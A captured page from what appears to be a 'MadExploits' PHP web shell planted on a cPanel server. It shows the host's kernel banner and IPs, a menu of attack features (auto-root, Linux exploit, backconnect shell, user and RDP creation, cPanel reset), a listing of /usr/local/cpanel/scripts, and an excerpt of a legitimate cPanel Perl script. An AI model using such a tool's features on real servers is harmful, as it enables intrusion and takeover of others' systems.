Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.69.7.26
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
local /
cpanel /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
cpan_sandbox
[ DIR ]
drwxr-xr-x
php_sandbox
[ DIR ]
drwxr-xr-x
MirrorSearch_pingtest
2.38
KB
-rwxr-xr-x
activesync-invite-reply
1.69
KB
-rwxr-xr-x
add_dns
2.36
KB
-rwxr-xr-x
adddns
2.36
KB
-rwxr-xr-x
addpop
6.08
KB
-rwxr-xr-x
addsystemuser
3.27
KB
-rwxr-xr-x
adduser
92
B
-rwxr-xr-x
agent360.sh
16.03
KB
-rwx------
apachelimits
4.31
KB
-rwxr-xr-x
archive_sync_zones
3.05
KB
-rwxr-xr-x
auto-adjust-mysql-limits
1.81
KB
-rwxr-xr-x
autorepair
1.24
KB
-rwxr-xr-x
backups_clean_metadata_for_mis...
1.57
KB
-rwxr-xr-x
backups_create_metadata
15.75
KB
-rwxr-xr-x
backups_list_user_files
4.56
KB
-rwxr-xr-x
balance_linked_node_quotas
2.58
KB
-rwxr-xr-x
biglogcheck
1.69
KB
-rwxr-xr-x
build_bandwidthdb_root_cache_i...
1.52
KB
-rwxr-xr-x
build_cpnat
3.41
KB
-rwxr-xr-x
build_mail_sni
3.87
KB
-rwxr-xr-x
build_maxemails_config
1.14
KB
-rwxr-xr-x
builddovecotconf
6.76
KB
-rwxr-xr-x
buildeximconf
7
KB
-rwxr-xr-x
buildhttpdconf
2.6
KB
-rwxr-xr-x
buildpureftproot
539
B
-rwxr-xr-x
ccs-check
4.91
KB
-rwxr-xr-x
check_cpanel_pkgs
10.75
KB
-rwxr-xr-x
check_domain_tls_service_domai...
6.68
KB
-rwxr-xr-x
check_immutable_files
5.49
KB
-rwxr-xr-x
check_mail_spamassassin_compil...
187
B
-rwxr-xr-x
check_maxmem_against_domains_c...
3.57
KB
-rwxr-xr-x
check_mount_procfs
2.02
KB
-rwxr-xr-x
check_mysql
5.56
KB
-rwxr-xr-x
check_plugin_pkgs
2.45
KB
-rwxr-xr-x
check_security_advice_changes
8.28
KB
-rwxr-xr-x
check_unmonitored_enabled_serv...
4.56
KB
-rwxr-xr-x
check_unreliable_resolvers
3.59
KB
-rwxr-xr-x
check_users_my_cnf
6.05
KB
-rwxr-xr-x
check_valid_server_hostname
7.66
KB
-rwxr-xr-x
checkalldomainsmxs
2.4
KB
-rwxr-xr-x
checkbashshell
1.18
KB
-rwxr-xr-x
checkccompiler
1.22
KB
-rwxr-xr-x
checkexim.pl
3.1
KB
-rwxr-xr-x
checklink
1.29
KB
-rwxr-xr-x
checkusers
856
B
-rwxr-xr-x
chkpaths
141
B
-rwxr-xr-x
chpass
416
B
-rwxr-xr-x
ckillall
1.11
KB
-rwxr-xr-x
clean_dead_mailman_locks
2.09
KB
-rwxr-xr-x
clean_up_temp_wheel_users
2.44
KB
-rwxr-xr-x
clean_user_php_sessions
4.76
KB
-rwxr-xr-x
cleandns
13.11
KB
-rwxr-xr-x
cleandns8
417
B
-rwxr-xr-x
cleanmsglog
735
B
-rwxr-xr-x
cleanphpsessions
932
B
-rwxr-xr-x
cleanphpsessions.php
658
B
-rw-r--r--
cleanquotas
1.61
KB
-rwxr-xr-x
cleansessions
5.89
KB
-rwxr-xr-x
cleanupinterchange
2.64
KB
-rwxr-xr-x
cleanupmysqlprivs
533
B
-rwxr-xr-x
clear_cpaddon_ui_caches
1.27
KB
-rwxr-xr-x
clear_orphaned_virtfs_mounts
3.56
KB
-rwxr-xr-x
comparecdb
1.52
KB
-rwxr-xr-x
compilers
2.86
KB
-rwxr-xr-x
compilerscheck
999
B
-rwxr-xr-x
configure_firewall_for_cpanel
520
B
-rwxr-xr-x
configure_rh_firewall_for_cpan...
520
B
-rwxr-xr-x
configure_rh_ipv6_firewall_for...
520
B
-rwxr-xr-x
convert2dovecot
682
B
-rwxr-xr-x
convert_accesshash_to_token
4.07
KB
-rwxr-xr-x
convert_and_migrate_from_legac...
1.97
KB
-rwxr-xr-x
convert_maildir_to_mdbox
1.66
KB
-rwxr-xr-x
convert_mdbox_to_maildir
1.66
KB
-rwxr-xr-x
convert_roundcube_mysql2sqlite
25.13
KB
-rwxr-xr-x
convert_to_dovecot_delivery
4.33
KB
-rwxr-xr-x
convert_whmxfer_to_sqlite
1.46
KB
-rwxr-xr-x
copy_user_mail_as_root
1.25
KB
-rwxr-xr-x
copy_user_mail_as_user
1.34
KB
-rwxr-xr-x
cpaddonsup
3.25
KB
-rwxr-xr-x
cpan_config
2.8
KB
-rwxr-xr-x
cpanel_initial_install
67.14
KB
-rwxr-xr-x
cpanelsync
28.31
KB
-rwxr-xr-x
cpanelsync_postprocessor
1.62
KB
-rwxr-xr-x
cpanpingtest
965
B
-rwxr-xr-x
cpbackup
44.79
KB
-rwxr-xr-x
cpbackup_transport_file
5.65
KB
-rwxr-xr-x
cpdig
2.09
KB
-rwxr-xr-x
cpfetch
1.23
KB
-rwxr-xr-x
cphulkdblacklist
433
B
-rwxr-xr-x
cphulkdwhitelist
1.3
KB
-rwxr-xr-x
cpservice
2.87
KB
-rwxr-xr-x
cpuser_port_authority
19.29
KB
-rwxr-xr-x
cpuser_service_manager
10.85
KB
-rwxr-xr-x
createacct
27.11
MB
-rwx------
custom_backup_destination.pl.s...
5.06
KB
-rwxr-xr-x
custom_backup_destination.pl.s...
2.84
KB
-rwxr-xr-x
dcpumon-wrapper
850
B
-rwxr-xr-x
delpop
6.2
KB
-rwxr-xr-x
detect_env_capabilities
508
B
-rwxr-xr-x
disable_prelink
2.77
KB
-rwxr-xr-x
disable_sqloptimizer
1.49
KB
-rwxr-xr-x
disablefileprotect
2.19
KB
-rwxr-xr-x
distro_changed_hook
1.16
KB
-rwxr-xr-x
dnscluster
4.44
KB
-rwxr-xr-x
dnsqueuecron
1.29
KB
-rwxr-xr-x
dnssec-cluster-keys
3.75
KB
-rwxr-xr-x
dovecot_maintenance
7.93
KB
-rwxr-xr-x
dovecot_set_defaults.pl
984
B
-rwxr-xr-x
dumpcdb
866
B
-rwxr-xr-x
dumpinodes
687
B
-rwxr-xr-x
dumpquotas
616
B
-rwxr-xr-x
dumpstor
913
B
-rwxr-xr-x
ea4_fresh_install
2.64
KB
-rwxr-xr-x
edit_cpanelsync_exclude_list
2.58
KB
-rwxr-xr-x
editquota
3.43
KB
-rwxr-xr-x
email_archive_maintenance
6.15
KB
-rwxr-xr-x
email_hold_maintenance
1.46
KB
-rwxr-xr-x
enable_spf_dkim_globally
8.83
KB
-rwxr-xr-x
enable_sqloptimizer
1.57
KB
-rwxr-xr-x
enablefileprotect
2.1
KB
-rwxr-xr-x
ensure_autoenabled_features
2.92
MB
-rwx------
ensure_conf_dir_crt_key
4.82
KB
-rwxr-xr-x
ensure_cpuser_file_ip
2.55
KB
-rwxr-xr-x
ensure_crontab_permissions
1.08
KB
-rwxr-xr-x
ensure_dovecot_memory_limits_m...
3.13
KB
-rwxr-xr-x
ensure_hostname_resolves
2.69
KB
-rwxr-xr-x
ensure_includes
601
B
-rwxr-xr-x
ensure_vhost_includes
13.53
KB
-rwxr-xr-x
exim_tidydb
2.96
KB
-rwxr-xr-x
eximconfgen
1.32
KB
-rwxr-xr-x
eximstats_spam_check
867
B
-rwxr-xr-x
expunge_expired_certificates_f...
3.56
KB
-rwxr-xr-x
expunge_expired_pkgacct_sessio...
852
B
-rwxr-xr-x
expunge_expired_transfer_sessi...
1.06
KB
-rwxr-xr-x
fastmail
5.16
KB
-rwxr-xr-x
featuremod
1.92
KB
-rwxr-xr-x
fetchfile
422
B
-rwxr-xr-x
find_and_fix_rpm_issues
6.99
KB
-rwxr-xr-x
find_outdated_services
6.06
KB
-rwxr-xr-x
find_pids_with_inotify_watch_o...
3.66
KB
-rwxr-xr-x
fix-cpanel-perl
29.03
KB
-rwxr-xr-x
fix-listen-on-localhost
3.52
KB
-rwxr-xr-x
fix-web-vhost-configuration
6.15
KB
-rwxr-xr-x
fix_addon_permissions
7.68
KB
-rwxr-xr-x
fix_dns_zone_ttls
1.34
KB
-rwxr-xr-x
fix_innodb_tables
4.05
KB
-rwxr-xr-x
fix_reseller_acls
10.88
KB
-rwxr-xr-x
fixetchosts
4.32
KB
-rwxr-xr-x
fixheaders
572
B
-rwxr-xr-x
fixmailinglistperms
1008
B
-rwxr-xr-x
fixmailman
2.09
KB
-rwxr-xr-x
fixnamedviews
1.22
KB
-rwxr-xr-x
fixndc
413
B
-rwxr-xr-x
fixquotas
18.39
KB
-rwxr-xr-x
fixrelayd
1.74
KB
-rwxr-xr-x
fixrndc
16.39
KB
-rwxr-xr-x
fixtar
503
B
-rwxr-xr-x
fixtlsversions
4.7
KB
-rwxr-xr-x
fixvaliases
2
KB
-rwxr-xr-x
fixwebalizer
966
B
-rwxr-xr-x
forcelocaldomain
895
B
-rwxr-xr-x
ftpfetch
2.2
KB
-rwxr-xr-x
ftpquotacheck
8.31
KB
-rwxr-xr-x
ftpsfetch
2.36
KB
-rwxr-xr-x
ftpupdate
261
B
-rwxr-xr-x
gather_update_log_stats
4.25
KB
-rwx------
gather_update_logs_setupcronta...
5.45
KB
-rwx------
gemwrapper
1.74
KB
-rwxr-xr-x
gencrt
6.26
KB
-rwxr-xr-x
generate_account_suspension_in...
5.7
KB
-rwxr-xr-x
generate_google_drive_credenti...
1.11
KB
-rwxr-xr-x
generate_google_drive_oauth_ur...
984
B
-rwxr-xr-x
generate_maildirsize
13.94
KB
-rwxr-xr-x
gensysinfo
1.16
KB
-rwxr-xr-x
get_locale_from_legacy_name_in...
1.99
KB
-rwxr-xr-x
getremotecpmove
12.67
KB
-rwxr-xr-x
grpck
1.19
KB
-rwxr-xr-x
hackcheck
3.02
KB
-rwxr-xr-x
hook
1.45
KB
-rwxr-xr-x
httpspamdetect
2.66
KB
-rwxr-xr-x
hulk-unban-ip
3.94
MB
-rwx------
import_exim_data
8.39
KB
-rwxr-xr-x
increase_filesystem_limits
891
B
-rwxr-xr-x
initacls
4.99
KB
-rwxr-xr-x
initfpsuexec
444
B
-rwxr-xr-x
initialize_360monitoring
2.76
KB
-rwx------
initquotas
19.47
KB
-rwxr-xr-x
initsuexec
4.03
KB
-rwxr-xr-x
install_cpanel_analytics
1.93
KB
-rwxr-xr-x
install_dovecot_fts
1.57
KB
-rwxr-xr-x
install_plugin
2.8
KB
-rwxr-xr-x
installpkg
575
B
-rwxr-xr-x
installpostgres
6.56
KB
-rwxr-xr-x
installsqlite3
1.82
KB
-rwxr-xr-x
ipcheck
3.93
KB
-rwxr-xr-x
ipusage
7.45
KB
-rwxr-xr-x
isdedicatedip
602
B
-rwxr-xr-x
jetbackup-check
3.69
KB
-rwxr-xr-x
killdns
422
B
-rwxr-xr-x
killdns-dnsadmin
1.15
KB
-rwxr-xr-x
killmysqluserprivs
433
B
-rwxr-xr-x
killmysqlwildcard
1.15
KB
-rwxr-xr-x
killpvhost
853
B
-rwxr-xr-x
killspamkeys
937
B
-rwxr-xr-x
link_3rdparty_binaries
1.24
KB
-rwxr-xr-x
linksubemailtomainacct
3.17
KB
-rwxr-xr-x
listcheck
538
B
-rwxr-xr-x
listsubdomains
1.05
KB
-rwxr-xr-x
litespeed-check
3.86
KB
-rwxr-xr-x
locale_export
4.97
KB
-rwxr-xr-x
locale_import
4.35
KB
-rwxr-xr-x
locale_info
3.99
KB
-rwxr-xr-x
logo.dat
205
B
-rw-r--r--
magicloader
1.94
KB
-rwxr-xr-x
maildir_converter
6.08
KB
-rwxr-xr-x
mailperm
16.53
KB
-rwxr-xr-x
mailscannerupdate
2.42
KB
-rwxr-xr-x
mainipcheck
10
KB
-rwxr-xr-x
maintenance
46.26
KB
-rwxr-xr-x
make_config
407
B
-rw-r--r--
make_hostname_unowned
1.16
KB
-rwxr-xr-x
manage_extra_marketing
12.41
KB
-rwx------
manage_greylisting
16.19
KB
-rwxr-xr-x
manage_mysql_profiles
16.33
KB
-rwxr-xr-x
migrate_ccs_to_cpdavd
41.03
KB
-rwxr-xr-x
migrate_local_ini_to_php_ini
7.41
KB
-rwxr-xr-x
migrate_whmtheme_file_to_userd...
2.95
KB
-rwxr-xr-x
mkwwwacctconf
2.33
KB
-rwxr-xr-x
modify_accounts
4.09
KB
-rwxr-xr-x
modify_default_featurelist_ent...
5.18
KB
-rwx------
modify_packages
3.65
KB
-rwxr-xr-x
modsec_vendor
15.63
KB
-rwxr-xr-x
mysqlconnectioncheck
6.72
KB
-rwxr-xr-x
mysqlpasswd
4.14
KB
-rwxr-xr-x
named.ca
1.57
KB
-rw-r--r--
named.rfc1912.zones
774
B
-rw-r--r--
notify_expiring_certificates
9.37
KB
-rwxr-xr-x
notify_expiring_certificates_o...
1.33
KB
-rwxr-xr-x
oopscheck
1.12
KB
-rwxr-xr-x
optimize_eximstats
3.88
KB
-rwxr-xr-x
patch_mail_spamassassin_compil...
2.39
KB
-rwxr-xr-x
patchfdsetsize
2.72
KB
-rwxr-xr-x
pedquota
2.26
KB
-rwxr-xr-x
perform_sqlite_auto_rebuild_db...
2.11
KB
-rwxr-xr-x
perlinstaller
528
B
-rwxr-xr-x
perlmods
1.18
KB
-rwxr-xr-x
php_fpm_config
9.73
KB
-rwxr-xr-x
phpini_tidy
687
B
-rwxr-xr-x
pkgacct
88.03
KB
-rwxr-xr-x
post_snapshot
2.09
KB
-rwxr-xr-x
post_sync_cleanup
6.09
KB
-rwxr-xr-x
postupcp
107
B
-rwxr-xr-x
primary_virtual_host_migration
2.44
KB
-rwxr-xr-x
process_pending_cpanel_php_pea...
2.72
KB
-rwxr-xr-x
process_site_templates
7.27
KB
-rwxr-xr-x
proxydomains
9.34
KB
-rwxr-xr-x
ptycheck
724
B
-rwxr-xr-x
purge_modsec_log
1.53
KB
-rwxr-xr-x
purge_old_config_caches
2.08
KB
-rwxr-xr-x
pwck
708
B
-rwxr-xr-x
quickdnslookup
1.13
KB
-rwxr-xr-x
quickwhoisips
2.29
KB
-rwxr-xr-x
quota_auto_fix
1.41
KB
-rwxr-xr-x
quotacheck
22.36
KB
-rwxr-xr-x
rawchpass
460
B
-rwxr-xr-x
rdate
4.8
KB
-rwxr-xr-x
realadduser
5.61
KB
-rwxr-xr-x
realchpass
3.26
KB
-rwxr-xr-x
realperlinstaller
5.67
KB
-rwxr-xr-x
realrawchpass
425
B
-rwxr-xr-x
rebuild_available_addons_packa...
1.27
KB
-rwxr-xr-x
rebuild_available_rpm_addons_c...
1.27
KB
-rwxr-xr-x
rebuild_bandwidthdb_root_cache
1.45
KB
-rwxr-xr-x
rebuild_dbmap
5.8
KB
-rwxr-xr-x
rebuild_provider_openid_connec...
1.01
KB
-rwxr-xr-x
rebuild_whm_chrome
2.22
KB
-rwxr-xr-x
rebuilddnsconfig
26.42
KB
-rwxr-xr-x
rebuildhttpdconf
2.6
KB
-rwxr-xr-x
rebuildinstalledssldb
2.85
KB
-rwxr-xr-x
rebuildippool
509
B
-rwxr-xr-x
rebuilduserssldb
948
B
-rwxr-xr-x
refresh-dkim-validity-cache
5.97
KB
-rwxr-xr-x
regenerate_tokens
2.18
KB
-rwxr-xr-x
remote_log_transfer
11.6
KB
-rwxr-xr-x
remove_dovecot_index_files
5.89
KB
-rwxr-xr-x
removeacct
23.38
MB
-rwx------
rescan_user_dovecot_fts
2.98
KB
-rwxr-xr-x
reset_mail_quotas_to_sane_valu...
6.82
KB
-rwxr-xr-x
resetmailmanurls
2.03
KB
-rwxr-xr-x
resetquotas
4.61
KB
-rwxr-xr-x
restartsrv
3.19
KB
-rwxr-xr-x
restartsrv_apache
422
B
-rwxr-xr-x
restartsrv_apache_php_fpm
10.13
MB
-rwxr-xr-x
restartsrv_base
10.13
MB
-rwxr-xr-x
restartsrv_bind
10.13
MB
-rwxr-xr-x
restartsrv_chkservd
427
B
-rwxr-xr-x
restartsrv_clamd
10.13
MB
-rwxr-xr-x
restartsrv_cpanel_php_fpm
10.13
MB
-rwxr-xr-x
restartsrv_cpanellogd
10.13
MB
-rwxr-xr-x
restartsrv_cpdavd
10.13
MB
-rwxr-xr-x
restartsrv_cpgreylistd
10.13
MB
-rwxr-xr-x
restartsrv_cphulkd
10.13
MB
-rwxr-xr-x
restartsrv_cpipv6
10.13
MB
-rwxr-xr-x
restartsrv_cpsrvd
10.13
MB
-rwxr-xr-x
restartsrv_crond
10.13
MB
-rwxr-xr-x
restartsrv_dnsadmin
10.13
MB
-rwxr-xr-x
restartsrv_dovecot
10.13
MB
-rwxr-xr-x
restartsrv_exim
10.13
MB
-rwxr-xr-x
restartsrv_eximstats
504
B
-rwxr-xr-x
restartsrv_ftpd
426
B
-rwxr-xr-x
restartsrv_ftpserver
911
B
-rwxr-xr-x
restartsrv_httpd
10.13
MB
-rwxr-xr-x
restartsrv_imap
437
B
-rwxr-xr-x
restartsrv_inetd
2.47
KB
-rwxr-xr-x
restartsrv_ipaliases
10.13
MB
-rwxr-xr-x
restartsrv_lmtp
437
B
-rwxr-xr-x
restartsrv_mailman
10.13
MB
-rwxr-xr-x
restartsrv_mysql
10.13
MB
-rwxr-xr-x
restartsrv_named
579
B
-rwxr-xr-x
restartsrv_nscd
10.13
MB
-rwxr-xr-x
restartsrv_p0f
10.13
MB
-rwxr-xr-x
restartsrv_pdns
10.13
MB
-rwxr-xr-x
restartsrv_pop3
437
B
-rwxr-xr-x
restartsrv_postgres
427
B
-rwxr-xr-x
restartsrv_postgresql
10.13
MB
-rwxr-xr-x
restartsrv_powerdns
442
B
-rwxr-xr-x
restartsrv_proftpd
10.13
MB
-rwxr-xr-x
restartsrv_pureftpd
10.13
MB
-rwxr-xr-x
restartsrv_queueprocd
10.13
MB
-rwxr-xr-x
restartsrv_rsyslog
10.13
MB
-rwxr-xr-x
restartsrv_rsyslogd
437
B
-rwxr-xr-x
restartsrv_spamd
10.13
MB
-rwxr-xr-x
restartsrv_sshd
10.13
MB
-rwxr-xr-x
restartsrv_syslogd
2.4
KB
-rwxr-xr-x
restartsrv_tailwatchd
10.13
MB
-rwxr-xr-x
restartsrv_unknown
10.13
MB
-rwxr-xr-x
restartsrv_xinetd
422
B
-rwxr-xr-x
restorecpuserfromcache
1.96
KB
-rwxr-xr-x
restorepkg
37.5
MB
-rwx------
rfc1912_zones.tar
10
KB
-rw-r--r--
rpmup
5.07
KB
-rwxr-xr-x
rsync-user-homedir.pl
5.76
KB
-rwxr-xr-x
run_if_exists
512
B
-rwxr-xr-x
runstatsonce
440
B
-rwxr-xr-x
runweblogs
1.02
KB
-rwxr-xr-x
sa-update_wrapper
3.34
KB
-rwxr-xr-x
safetybits.pl
844
B
-rwxr-xr-x
secureit
4.72
KB
-rwxr-xr-x
securemysql
4.4
KB
-rwxr-xr-x
securerailsapps
3.58
KB
-rwxr-xr-x
securetmp
15.99
KB
-rwxr-xr-x
sendicq
474
B
-rwxr-xr-x
servicedomains
9.34
KB
-rwxr-xr-x
set_mailman_archive_perms
1.75
KB
-rwxr-xr-x
setpostgresconfig
6.04
KB
-rwxr-xr-x
setup_greylist_db
16.19
KB
-rwxr-xr-x
setup_modsec_db
1.3
KB
-rwxr-xr-x
setupftpserver
10.47
KB
-rwxr-xr-x
setupmailserver
9.55
KB
-rwxr-xr-x
setupnameserver
12.52
KB
-rwxr-xr-x
shrink_modsec_ip_database
12.97
KB
-rwxr-xr-x
simpleps
3.05
KB
-rwxr-xr-x
slurp_exim_mainlog
5.78
KB
-rwxr-xr-x
smartcheck
15.13
KB
-rwxr-xr-x
smtpmailgidonly
8.15
KB
-rwxr-xr-x
snapshot_prep
5.88
KB
-rwxr-xr-x
spamassassin_dbm_cleaner
5.85
KB
-rwxr-xr-x
spamassassindisable
3.74
KB
-rwxr-xr-x
spamboxdisable
2.27
KB
-rwxr-xr-x
sshcontrol
14.38
KB
-rwxr-xr-x
ssl_crt_status
3.84
KB
-rwxr-xr-x
suspendacct
18.01
KB
-rwxr-xr-x
suspendmysqlusers
4.78
KB
-rwxr-xr-x
swapip
3.82
KB
-rwxr-xr-x
sync-mysql-users-from-grants
1.2
KB
-rwxr-xr-x
sync_child_accounts
1.77
KB
-rwxr-xr-x
sync_contact_emails_to_cpanel_...
1.14
KB
-rwxr-xr-x
synccpaddonswithsqlhost
6.59
KB
-rwxr-xr-x
synctransfers
1.92
KB
-rwxr-xr-x
syslog_check
1.36
KB
-rwxr-xr-x
sysup
645
B
-rwxr-xr-x
test_sa_compiled
1.07
KB
-rwxr-xr-x
transfer_account_as_user
2.34
KB
-rwxr-xr-x
transfer_accounts_as_root
4.76
KB
-rwxr-xr-x
transfer_in_progress
3.08
KB
-rwxr-xr-x
transfer_in_progress.pod
312
B
-rw-r--r--
transfermysqlusers
9.67
MB
-rwx------
try-later
7.95
KB
-rwxr-xr-x
unblockip
667
B
-rwxr-xr-x
uninstall_cpanel_analytics
1.2
KB
-rwxr-xr-x
uninstall_dovecot_fts
562
B
-rwxr-xr-x
uninstall_plugin
2.84
KB
-rwxr-xr-x
unlink_service_account
2.62
KB
-rwxr-xr-x
unpkgacct
4.6
KB
-rwxr-xr-x
unslavenamedconf
863
B
-rwxr-xr-x
unsuspendacct
17.8
KB
-rwxr-xr-x
unsuspendmysqlusers
7.1
KB
-rwxr-xr-x
upcp
31.97
KB
-rwxr-xr-x
upcp-running
2.7
KB
-rwxr-xr-x
upcp.static
713.27
KB
-rwxr-xr-x
update-packages
5.07
KB
-rwxr-xr-x
update_apachectl
480
B
-rwxr-xr-x
update_db_cache
430
B
-rwxr-xr-x
update_dkim_keys
1.45
KB
-rwxr-xr-x
update_exim_rejects
1.21
KB
-rwxr-xr-x
update_existing_mail_quotas_fo...
4.78
KB
-rwxr-xr-x
update_feature_flags
957
B
-rwxr-xr-x
update_freebusy_data
5.21
KB
-rwxr-xr-x
update_known_proxy_ips
1002
B
-rwxr-xr-x
update_local_rpm_versions
4.56
KB
-rwxr-xr-x
update_mailman_cache
8.34
KB
-rwxr-xr-x
update_mysql_systemd_config
1.25
KB
-rwxr-xr-x
update_neighbor_netblocks
487
B
-rwxr-xr-x
update_sa_config
2.14
KB
-rwxr-xr-x
update_spamassassin_config
10.73
KB
-rwxr-xr-x
update_users_jail
691
B
-rwxr-xr-x
update_users_vhosts
801
B
-rwxr-xr-x
updatedomainips
605
B
-rwxr-xr-x
updatenameserverips
1.66
KB
-rwxr-xr-x
updatenow
5.18
KB
-rwxr-xr-x
updatenow.static
1.98
MB
-rwxr-xr-x
updatesigningkey
1.95
KB
-rwxr-xr-x
updatessldomains
1.81
KB
-rwxr-xr-x
updatesupportauthorizations
2.49
KB
-rwxr-xr-x
updateuserdatacache
2.47
KB
-rwxr-xr-x
updateuserdomains
774
B
-rwxr-xr-x
upgrade_bandwidth_dbs
2.22
KB
-rwxr-xr-x
upgrade_subaccount_databases
2.73
KB
-rwxr-xr-x
userdata_wildcard_cleanup
5.74
KB
-rwxr-xr-x
userdirctl
5.01
KB
-rwxr-xr-x
validate_sshkey_passphrase
1.21
KB
-rwxr-xr-x
verify_api_spec_files
757
B
-rwxr-xr-x
verify_pidfile
1.96
KB
-rwxr-xr-x
verify_vhost_includes
7.34
KB
-rwxr-xr-x
vps_optimizer
7.82
KB
-rwxr-xr-x
vzzo-fixer
725
B
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
whoowns
1.13
KB
-rwxr-xr-x
wwwacct
27.11
MB
-rwx------
wwwacct2
88
B
-rwxr-xr-x
xfer_rcube_schema_migrate.pl
2.4
KB
-rwxr-xr-x
xfer_rcube_uid_resolver.pl
1.8
KB
-rwxr-xr-x
xferpoint
3.13
KB
-rwxr-xr-x
xfertool
16.23
KB
-rwxr-xr-x
zoneexists
800
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : migrate_ccs_to_cpdavd
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/migrate_ccs_to_cpdavd Copyright 2024 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package MigrScr; # Conversion script from CCS data to CPDAVD use strict; no strict 'refs'; # XXX WHY use warnings; use DBD::Pg; use Digest::MD5; use MIME::Base64; use Data::Dumper; use Cpanel::JSON (); use Cpanel::AcctUtils::Lookup (); use Cpanel::PwCache (); use Cpanel::SafeDir::MK (); use Cpanel::DAV::CaldavCarddav (); use Cpanel::FileUtils::TouchFile (); use Cpanel::DAV::Defaults (); use parent 'Cpanel::HelpfulScript'; sub _OPTIONS { return qw( help overwrite dryrun verbosity=s user=s ); } if ( $> != 0 ) { die "This script must be run by the root user\n"; } ################################################################################################################################# # Set defaults ################################################################################################################################# my $overwrite_existing = 0; my $verbosity = 1; my $dryrun = 0; my $singleuser; # ++'d every time there is a logmsg with -1 prio my $errcnt = 0; # Save any user that has run into an error while writing ( likely an account being over quota ) and will help cut down on futile attempts my %user_has_write_errors; exit __PACKAGE__->new(@ARGV)->run() if !caller(); sub run { ## no critic(Subroutines::ProhibitExcessComplexity) my ($self) = @_; ################################################################################################################################# # Get arguments to override the defaults ################################################################################################################################# if ( $self->getopt('overwrite') ) { logmsg( 1, "Overwriting existing entry files" ); $overwrite_existing = 1; } if ( $self->getopt('dryrun') ) { logmsg( 1, "Dry run, no changes will be made anywhere" ); $dryrun = 1; } if ( defined( my $verbosity = $self->getopt('verbosity') ) ) { logmsg( 1, "Setting verbosity to $verbosity" ); } if ( defined( my $singleuser = $self->getopt('user') ) ) { logmsg( 1, "Only processing the single account: $singleuser" ); } # Map data to a local system and mail user by UIDs if ( !-f '/var/cpanel/ccs/ccs-persistance.json' ) { logmsg( -1, "This server does not appear to have the file /var/cpanel/ccs/ccs-persistance.json , which is critical for converting from CCS to native CPDAVD." ); return 1; } logmsg( 1, "Starting migration from CCS to native CPDAVD" ); my $pers_data_hr = Cpanel::JSON::SafeLoadFile('/var/cpanel/ccs/ccs-persistance.json'); my %pers_data_keyed_on_uid = reverse %{ $pers_data_hr->{'users'} }; # print "\npers_data_hr:\n" . Dumper( $pers_data_hr ); # print "\npers_data_keyed_on_uid:\n" . Dumper( \%pers_data_keyed_on_uid ); ################################################################################################################################# # Create a hash that contains all the important known information about the accounts, keyed on CCS UID ################################################################################################################################# # This hash is our main mapping for account (email or system), the system user that owns the account, and the home directory for the system user. # These are used quite often so it makes sense to build this once. my %user_lookup; # Now we have all users known to CCS, both their CCS-UID and the associated user, either a system account or an email address foreach my $uid ( keys %pers_data_keyed_on_uid ) { my $sysuser = eval { Cpanel::AcctUtils::Lookup::get_system_user( $pers_data_keyed_on_uid{$uid} ) }; # next if( $singleuser && $singleuser ne $sysuser ); if ($@) { # Not fatal, but we should warn about it logmsg( 1, "Could not determine sysuser for $pers_data_keyed_on_uid{$uid}, skipping old user" ); } else { logmsg( 4, "$uid is $pers_data_keyed_on_uid{$uid} on the system account: $sysuser" ); $user_lookup{$uid}{'acct'} = $pers_data_keyed_on_uid{$uid}; $user_lookup{$uid}{'sysuser'} = $sysuser; $user_lookup{$uid}{'syshomedir'} = Cpanel::PwCache::gethomedir($sysuser); # Ensure each user has a calendar and addressbook, metadata included logmsg( 4, "Ensuring $pers_data_keyed_on_uid{$uid} has default calendar and address book configured" ); eval { Cpanel::DAV::Defaults::create_calendar( $pers_data_keyed_on_uid{$uid} ); }; eval { Cpanel::DAV::Defaults::create_addressbook( $pers_data_keyed_on_uid{$uid} ); }; } } ################################################################################################################################# ################################################################################################################################# # # This section handles writing out the CCS UID->user %user_lookup mapping per system user, for "translation" by clients already # configured for CCS # ################################################################################################################################# ################################################################################################################################# # Get an array of UIDs, sorted by the system user from the %user_lookup hash. We do this for the sake of efficiency to avoid # a lot of extra file IO my @sorted_uids = sort { $user_lookup{$a}{'sysuser'} cmp $user_lookup{$b}{'sysuser'} } keys %user_lookup; my $last_sysuser; my $last_uid; my %data; logmsg( 4, "Going through sorted list of UIDs to write out the user mapping" ); foreach my $uid (@sorted_uids) { logmsg( 4, "Processing UID $uid" ); if ( !$last_sysuser ) { $last_sysuser = $user_lookup{$uid}{'sysuser'}; $last_uid = $uid; $data{$uid} = $user_lookup{$uid}{'acct'}; } if ( $last_sysuser eq $user_lookup{$uid}{'sysuser'} ) { $data{$uid} = $user_lookup{$uid}{'acct'}; } else { # We have moved on to a new user, so load the data for the user we were just working with, merge it with the new data, then # write out the UID map, then start processing this new user my $full_dir_path = $user_lookup{$last_uid}{'syshomedir'} . '/.caldav/'; my $file = '.user_id_table'; my $map_hr = load_uid_mapping( $full_dir_path . $file ); my $total_hr = { %{$map_hr}, %data }; my $map_str; foreach my $k ( keys %{$total_hr} ) { $map_str .= "$k $total_hr->{$k}\n"; } # Ensure 0600 perms when creating this file so we don't leak email addresses # This will be something like /home/user/.caldav/.user_id_table write_data_to_file( 1, $user_lookup{$last_uid}{'acct'}, $user_lookup{$last_uid}{'sysuser'}, $full_dir_path, $file, $map_str ); # Reset %data et al for new user $last_sysuser = $user_lookup{$uid}{'sysuser'}; $last_uid = $uid; %data = (); $data{$uid} = $user_lookup{$uid}{'acct'}; } } ################################################################################################################################# # Connect to CCS pgsql database ################################################################################################################################# our $ccs_pg_socket_dir = '/opt/cpanel-ccs/data/Data/Database/psqlsocks'; my $dbh = DBI->connect( 